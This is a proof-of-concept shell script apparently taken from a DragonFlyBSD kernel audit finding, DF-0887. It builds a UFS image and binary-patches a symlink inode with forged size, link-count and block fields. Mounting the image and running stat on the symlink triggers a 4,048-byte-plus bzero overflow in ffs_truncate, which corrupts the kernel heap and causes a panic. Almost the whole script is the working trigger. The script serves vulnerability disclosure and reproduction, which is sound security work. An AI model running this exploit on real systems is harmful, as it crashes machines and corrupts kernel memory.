DragonFlyBSD Kernel Audit
DF-0887 / reproduce.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0887 reproduce.sh — runs IN THE GUEST as root.
#
# Builds the inode patcher, creates a clean UFS image, mounts it, creates a
# symlink (so the on-disk inode is well-formed), unmounts, binary-patches the
# symlink's inode to forge di_size=4096 / di_blocks=0 / di_nlink=0, remounts,
# and stats the symlink. The stat triggers iget -> ufs_inactive (nlink<=0) ->
# ffs_truncate(vp,0) -> VLNK fast path -> bzero(&i_shortlink, 4096), a 4048
# byte overflow past the 48-byte di_db buffer into the M_FFSNODE slab.
#
# UFS is not user-mountable on DragonFly (get_fscap returns RESTRICTEDROOT),
# so this is a root-context trigger -> kernel heap corruption / panic (DoS /
# hardening gap), NOT an unprivileged->root escalation.
#
# Usage (from host):
#   scp this + sources to dfbsd:/root/, then vm.sh run_root 'sh /root/reproduce.sh'
# Expect: panic in ffs_truncate / slab-corruption trap on default #0 GENERIC.
set -u
cd "$(dirname "$0")"

echo "================= DF-0887 primitive characterization (harness) ================="
./harness 4096 0
echo

echo "================= DF-0887 live kernel trigger ================="
# build the patcher
cc -o craft_img craft_img.c 2>&1 || { echo "CRAFT_BUILD_FAIL"; exit 3; }

# fresh base UFS image
rm -f base.img evil.img
truncate -s 4M base.img
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 base.img
newfs -v /dev/vn0 >/dev/null 2>&1
vnconfig -u vn0

# create a real symlink in the clean image so the on-disk inode & dir entry
# are well-formed, then record its inode number
vnconfig -c vn0 base.img
mkdir -p /mnt/test
mount -t ufs /dev/vn0 /mnt/test
ln -s target_string /mnt/test/evil
INODE=$(ls -i /mnt/test/evil | awk '{print $1}')
echo "created symlink at inode $INODE"
umount /mnt/test
vnconfig -u vn0

# patch the symlink inode: keep di_mode=S_IFLNK|0777, set the malicious fields
# di_size is set very large so the unbounded bzero deterministically runs past
# the M_FFSNODE slab into unmapped kernel address space and page-faults
# (INVARIANTS-only slab-magic corruption may or may not fire first depending
#  on slab layout; the page-fault is deterministic).
cp base.img evil.img
echo "--- patching inode $INODE in evil.img ---"
./craft_img evil.img "$INODE" \
    di_size=131072 \
    di_nlink=0 \
    di_blocks=0 \
    di_mode=0xa1ff
# 0xa1ff = S_IFLNK (0xa000) | 0777

# mount the crafted image (root only)
vnconfig -c vn0 evil.img
echo "--- mounting evil.img and stat'ing the symlink (PANIC expected on #0) ---"
mount -t ufs /dev/vn0 /mnt/test 2>&1
echo "MOUNT_RC=$?"
echo "--- stat /mnt/test/evil ---"
stat /mnt/test/evil 2>&1
echo "STAT_RC=$? (only reached if NO panic)"
# cleanup if we somehow survived
umount /mnt/test 2>/dev/null || true
vnconfig -u vn0 2>/dev/null || true
echo "END"